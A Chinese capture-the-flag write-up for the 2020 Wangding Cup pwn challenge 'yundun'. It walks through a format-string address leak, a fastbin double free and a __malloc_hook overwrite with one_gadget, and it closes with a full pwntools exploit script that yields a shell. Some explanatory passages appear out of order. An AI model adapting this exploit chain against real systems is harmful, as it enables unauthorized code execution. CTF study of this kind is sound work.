@[TOC](2020网鼎杯朱雀组 云顿(yundun) wp 入门向) 学习PWN也有两年左右时间了,一看就会,一做就废。这次网鼎杯朱雀组结束后拿到一道pwn的题目yundun,尝试自己做了一下,在几个小时内做出来了,虽然没有正式参赛,但是也算是自己做出来的第一道大赛题目,值得纪念一下。后来才发现有更简单的方法(使用格式化字符串漏洞直接利用),但是不影响技术 题目只给了一个二进制pwn,没有glibc,估计一会儿需要自行确定glibc版本。用checksec查看,保护全开。 看一下在printf处的栈空间,发现在第0x1c处,存着 __libc_csu_init 的地址,由此可以leak出main函数的地址,在第0x1d处,存着 __libc_start_main+240 的地址,在https://libc.blukat.me/上面查一下,满足__libc_start_main地址要求的就一个glibc版本:2.23,因此glibc的版本也确定了。 下一步就是堆溢出利用。前面讲到,在vim堆2的时候,存在越界写。 此时的堆空间就像是这样(堆地址和上图不相同,因为程序截图的时候分两次执行的程序,大家看布局就好,以下同理):微微 提升。废话不多说,直接进入主题。二进制分析
拖到IDA,f5大法分析一下,发现是一个简易shell,支持vim、cd、rm、ls、cat操作。其中,vim、rm和cat其实就是对2个堆区(以下称堆1、堆2)进行malloc、free和putsprintf操作。经过一番(许久)观察之后,发现cat堆2的时候存在格式化字符串溢出漏洞,vim堆2的时候会越界写,这个之后再说。先看格式化字符串:
虽然在printf之前,对buf2也就是堆2的内容进行了简单的格式化字符串利用检测,但是这并不影响我们利用,毕竟谁会直接用%n,%h,%x来进行利用呢。拖到gdb里面下好断点(可以自行百度如何关闭ubuntu的地址随机化),输入vim 2 aaaaaa cat 2
python代码如下:#leak main addr io.recvuntil('> ') myEdit(2, '%34$p') result = myCat(2) result = result[2:].strip() main_addr = int(result, 16) - 0x578 print 'main_addr: ' + hex(main_addr) myRm(2) #leak libc addr myEdit(2, '%35$p') result = myCat(2) result = result[2:].strip() libc_start_main = int(result, 16) - 240 libc_base = libc_start_main - libc.symbols['__libc_start_main'] print 'libc_addr: ' + hex(libc_base) myRm(2)
vim堆1会malloc(0x60),vim堆2会malloc(0x30),但是无论是堆1还是堆2,都会写入最多70个字节,因此此处存在FastBin Attack的可能。但是在这个程序中,无论堆1或者堆2malloc多少次,rm的时候都只会对堆1和堆2的最后一次的malloc进行free,因此我们需要人为制造一个double free。如何制造呢?前面的越界写就派上用场了。先vim堆2,再vim堆1,布好堆空间:myEdit(2, 'aaaa') myEdit(1, 'a' * 0x30 + p64(0) + p64(0x31)) myRm(2) myRm(1)
可以看到,0x55b4ff04d000处是堆2,大小为0x40,0x55b4ff04d040处是堆1,大小为0x70。然后rm堆2,rm堆1。看看FastBin里面的情况,堆1和堆2在free后都已经进入了自己应该进入的位置:
再vim堆2的时候,由于处于FastBin中且大小与之前vim堆2的大小相同,因此会重新把之前的地址分配回来。这个时候,我们输入堆2内容的时候,就可以修改堆1的头和内容,伪造一个堆空间,将堆1的大小修改为64。如果仅仅这样的话还不行,因为堆1到top chunk有0x70的长度,但是堆1的头此时被设置为了0x40,还差0x30,在这个0x30的空缺处,我们需要伪造一个堆块,以绕过相关的检测。但是vim堆2的时候,最多能写70个字节,这怎么办?没关系,在第一次vim堆1的时候我们就可以先把这个地方设置好,因为这本身就是在堆1的正常区域内,之后再进行vim堆2的操作:
myEdit(2, 'a' * 0x30 + p64(0) + p64(0x41))
再rm堆1的时候,它将会进入大小为0x40的FastBin中。然后我们一次rm堆2,rm堆1,即可造成FastBin中的双向链表。myRm(1) myRm(2) myRm(1)
接下来就是经典的FastBin Attack。因为程序保护全开,所以此处我们考虑修改 __malloc_hook 内容,指向one_gadget。
先vim堆2,把0x55662ff70040分配回来,再vim堆2,把0x55662ff70000分配回来,此时我们利用越界写,把0x55662ff70040的fd设置为 __malloc_hook-0x23 。然后再vim堆1两次,在第二次vim堆1的时候,输入内容为’a’*0x13 + one_gadget地址,此时, __malloc_hook 的内容即被填充为one_gadget的地址,最后再vim堆1,让程序执行一次malloc即可执行one_gadget。myEdit(2, 'aaaa') myEdit(2, 'a' * 0x30 + p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23)) myEdit(1, 'aaaa') myEdit(1, 'a' * 0x13 + p64(exec_addr)) io.sendline('vim 1')
注意,在使用one_gadget的时候是有条件限制的,例如glibc-2.23的几个one_gadget就有以下几个限制:
但是这道题正好满足[rsp+0x70] == NULL,可以顺利完成利用。如果没有满足条件的情况,就需要利用__libc_realloc中的几个push来微调栈,这就是另外一个知识点了,这里就不展开了(就是因为懒)。完整poc代码贴在这里。POC
from pwn import * def myEdit(index, buf): io.sendline('vim ' + str(index)) io.recvuntil('> ') io.sendline(buf) io.recvuntil('> > ') def myCat(index): io.sendline('cat ' + str(index)) result = io.recvline() io.recvuntil('> ') return result def myRm(index): io.sendline('rm ' + str(index)) io.recvuntil('> ') libc = ELF('./libc-2.23.so') io = process('./pwn') gdb.attach(io) #io = remote('127.0.0.1', 4444) #context(arch = 'amd64', os = 'linux', log_level = 'debug') context(arch = 'amd64', os = 'linux') #leak main addr io.recvuntil('> ') myEdit(2, '%34$p') result = myCat(2) result = result[2:].strip() main_addr = int(result, 16) - 0x578 print 'main_addr: ' + hex(main_addr) myRm(2) #leak libc addr myEdit(2, '%35$p') result = myCat(2) result = result[2:].strip() libc_start_main = int(result, 16) - 240 libc_base = libc_start_main - libc.symbols['__libc_start_main'] print 'libc_addr: ' + hex(libc_base) myRm(2) malloc_hook_addr = libc_base + libc.symbols['__malloc_hook'] realloc_addr = libc_base + libc.symbols['__libc_realloc'] ''' system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() ''' #exec_addr = libc_base + 0x45216 exec_addr = libc_base + 0xf1147 #exec_addr = libc_base + 0xf02a4 myEdit(2, 'aaaa') myEdit(1, 'a' * 0x30 + p64(0) + p64(0x31)) myRm(2) myRm(1) myEdit(2, 'a' * 0x30 + p64(0) + p64(0x41)) myRm(1) myRm(2) myRm(1) #myEdit(2, p64(malloc_hook_addr)) myEdit(2, 'aaaa') myEdit(2, 'a' * 0x30 + p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23)) myEdit(1, 'aaaa') myEdit(1, 'a' * 0x13 + p64(exec_addr)) io.sendline('vim 1') io.interactive()
本网页所有视频内容由 imoviebox边看边下-网页视频下载, iurlBox网页地址收藏管理器 下载并得到。
ImovieBox网页视频下载器 下载地址: ImovieBox网页视频下载器-最新版本下载
本文章由: imapbox邮箱云存储,邮箱网盘,ImageBox 图片批量下载器,网页图片批量下载专家,网页图片批量下载器,获取到文章图片,imoviebox网页视频批量下载器,下载视频内容,为您提供.
阅读和此文章类似的: 全球云计算